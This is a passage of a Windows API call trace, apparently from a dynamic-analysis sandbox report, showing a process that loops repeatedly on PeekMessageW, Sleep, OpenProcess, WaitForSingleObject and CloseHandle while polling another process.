wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.377] Sleep (dwMilliseconds=0x1) [0141.393] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.393] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.408] CloseHandle (hObject=0xad4) returned 1 [0141.408] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.408] Sleep (dwMilliseconds=0x1) [0141.423] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.423] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.439] CloseHandle (hObject=0xad4) returned 1 [0141.439] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.439] Sleep (dwMilliseconds=0x1) [0141.454] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.455] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.470] CloseHandle (hObject=0xad4) returned 1 [0141.470] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.470] Sleep (dwMilliseconds=0x1) [0141.489] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.489] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.501] CloseHandle (hObject=0xad4) returned 1 [0141.501] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.501] Sleep (dwMilliseconds=0x1) [0141.517] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.517] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.532] CloseHandle (hObject=0xad4) returned 1 [0141.532] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.533] Sleep (dwMilliseconds=0x1) [0141.549] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.549] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.564] CloseHandle (hObject=0xad4) returned 1 [0141.564] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.564] Sleep (dwMilliseconds=0x1) [0141.599] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.599] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.612] CloseHandle (hObject=0xad4) returned 1 [0141.612] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.612] Sleep (dwMilliseconds=0x1) [0141.634] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.635] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.642] CloseHandle (hObject=0xad4) returned 1 [0141.642] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.642] Sleep (dwMilliseconds=0x1) [0141.657] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.657] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.673] CloseHandle (hObject=0xad0) returned 1 [0141.673] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.673] Sleep (dwMilliseconds=0x1) [0141.690] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.690] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.704] CloseHandle (hObject=0xad0) returned 1 [0141.704] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.704] Sleep (dwMilliseconds=0x1) [0141.720] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.720] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.742] CloseHandle (hObject=0xad0) returned 1 [0141.742] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.742] Sleep (dwMilliseconds=0x1) [0141.752] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0141.752] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0141.766] CloseHandle (hObject=0xad4) returned 1 [0141.766] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.766] Sleep (dwMilliseconds=0x1) [0141.786] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.786] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.803] CloseHandle (hObject=0xad0) returned 1 [0141.803] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.803] Sleep (dwMilliseconds=0x1) [0141.813] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.813] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.829] CloseHandle (hObject=0xad0) returned 1 [0141.829] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.829] Sleep (dwMilliseconds=0x1) [0141.844] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.844] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.860] CloseHandle (hObject=0xad0) returned 1 [0141.860] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.860] Sleep (dwMilliseconds=0x1) [0141.876] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.876] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.906] CloseHandle (hObject=0xad0) returned 1 [0141.906] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.906] Sleep (dwMilliseconds=0x1) [0141.907] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.907] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.922] CloseHandle (hObject=0xad0) returned 1 [0141.923] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.923] Sleep (dwMilliseconds=0x1) [0141.938] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.938] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.954] CloseHandle (hObject=0xad0) returned 1 [0141.954] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.954] Sleep (dwMilliseconds=0x1) [0141.969] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0141.969] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0141.985] CloseHandle (hObject=0xad0) returned 1 [0141.985] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0141.985] Sleep (dwMilliseconds=0x1) [0142.000] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.000] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.016] CloseHandle (hObject=0xad0) returned 1 [0142.016] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.016] Sleep (dwMilliseconds=0x1) [0142.032] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.032] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.047] CloseHandle (hObject=0xad0) returned 1 [0142.047] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.047] Sleep (dwMilliseconds=0x1) [0142.074] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.074] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.078] CloseHandle (hObject=0xad0) returned 1 [0142.078] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.079] Sleep (dwMilliseconds=0x1) [0142.094] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.094] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.110] CloseHandle (hObject=0xad0) returned 1 [0142.110] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.110] Sleep (dwMilliseconds=0x1) [0142.125] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.125] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.141] CloseHandle (hObject=0xad0) returned 1 [0142.141] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.141] Sleep (dwMilliseconds=0x1) [0142.157] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.157] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.180] CloseHandle (hObject=0xad0) returned 1 [0142.180] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.180] Sleep (dwMilliseconds=0x1) [0142.194] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.194] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.203] CloseHandle (hObject=0xad0) returned 1 [0142.203] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.203] Sleep (dwMilliseconds=0x1) [0142.219] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.219] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.235] CloseHandle (hObject=0xad0) returned 1 [0142.235] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.235] Sleep (dwMilliseconds=0x1) [0142.250] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.250] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.271] CloseHandle (hObject=0xad0) returned 1 [0142.271] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.271] Sleep (dwMilliseconds=0x1) [0142.281] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.281] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.301] CloseHandle (hObject=0xad0) returned 1 [0142.301] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.301] Sleep (dwMilliseconds=0x1) [0142.312] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.312] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.328] CloseHandle (hObject=0xad0) returned 1 [0142.328] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.328] Sleep (dwMilliseconds=0x1) [0142.344] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.344] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.359] CloseHandle (hObject=0xad0) returned 1 [0142.359] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.359] Sleep (dwMilliseconds=0x1) [0142.375] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.375] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.391] CloseHandle (hObject=0xad0) returned 1 [0142.391] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.391] Sleep (dwMilliseconds=0x1) [0142.406] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.406] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.422] CloseHandle (hObject=0xad0) returned 1 [0142.422] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.422] Sleep (dwMilliseconds=0x1) [0142.437] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.437] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.453] CloseHandle (hObject=0xad0) returned 1 [0142.453] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.453] Sleep (dwMilliseconds=0x1) [0142.479] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.479] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.484] CloseHandle (hObject=0xad0) returned 1 [0142.484] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.484] Sleep (dwMilliseconds=0x1) [0142.500] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.500] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.518] CloseHandle (hObject=0xad0) returned 1 [0142.518] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.528] Sleep (dwMilliseconds=0x1) [0142.531] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.531] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.547] CloseHandle (hObject=0xad0) returned 1 [0142.547] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.547] Sleep (dwMilliseconds=0x1) [0142.565] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.565] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.578] CloseHandle (hObject=0xad0) returned 1 [0142.578] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.578] Sleep (dwMilliseconds=0x1) [0142.593] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.594] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.609] CloseHandle (hObject=0xad0) returned 1 [0142.609] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.609] Sleep (dwMilliseconds=0x1) [0142.624] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.625] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.640] CloseHandle (hObject=0xad0) returned 1 [0142.640] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.640] Sleep (dwMilliseconds=0x1) [0142.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.656] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.671] CloseHandle (hObject=0xad0) returned 1 [0142.671] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.671] Sleep (dwMilliseconds=0x1) [0142.687] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.687] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.702] CloseHandle (hObject=0xad0) returned 1 [0142.703] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.703] Sleep (dwMilliseconds=0x1) [0142.743] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.743] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.750] CloseHandle (hObject=0xad0) returned 1 [0142.750] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.750] Sleep (dwMilliseconds=0x1) [0142.765] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.765] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.780] CloseHandle (hObject=0xad0) returned 1 [0142.780] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.781] Sleep (dwMilliseconds=0x1) [0142.796] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.796] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.812] CloseHandle (hObject=0xad0) returned 1 [0142.812] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.812] Sleep (dwMilliseconds=0x1) [0142.827] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.827] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.843] CloseHandle (hObject=0xad0) returned 1 [0142.843] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.843] Sleep (dwMilliseconds=0x1) [0142.859] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.859] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.874] CloseHandle (hObject=0xad0) returned 1 [0142.874] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.874] Sleep (dwMilliseconds=0x1) [0142.905] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.905] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.921] CloseHandle (hObject=0xad0) returned 1 [0142.921] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.921] Sleep (dwMilliseconds=0x1) [0142.937] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.937] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.954] CloseHandle (hObject=0xad0) returned 1 [0142.954] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.954] Sleep (dwMilliseconds=0x1) [0142.968] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.968] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0142.983] CloseHandle (hObject=0xad0) returned 1 [0142.983] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0142.983] Sleep (dwMilliseconds=0x1) [0142.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0142.999] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.022] CloseHandle (hObject=0xad0) returned 1 [0143.022] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.022] Sleep (dwMilliseconds=0x1) [0143.030] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.030] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.046] CloseHandle (hObject=0xad0) returned 1 [0143.046] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.046] Sleep (dwMilliseconds=0x1) [0143.061] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.061] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.082] CloseHandle (hObject=0xad0) returned 1 [0143.082] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.082] Sleep (dwMilliseconds=0x1) [0143.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.102] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.108] CloseHandle (hObject=0xad0) returned 1 [0143.108] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.108] Sleep (dwMilliseconds=0x1) [0143.124] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.124] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.139] CloseHandle (hObject=0xad0) returned 1 [0143.139] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.139] Sleep (dwMilliseconds=0x1) [0143.155] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.155] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.170] CloseHandle (hObject=0xad0) returned 1 [0143.171] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.171] Sleep (dwMilliseconds=0x1) [0143.186] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.186] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.202] CloseHandle (hObject=0xad0) returned 1 [0143.202] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.202] Sleep (dwMilliseconds=0x1) [0143.226] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.226] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.233] CloseHandle (hObject=0xad0) returned 1 [0143.233] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.233] Sleep (dwMilliseconds=0x1) [0143.249] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.249] WaitForSingleObject (hHandle=0xad0, 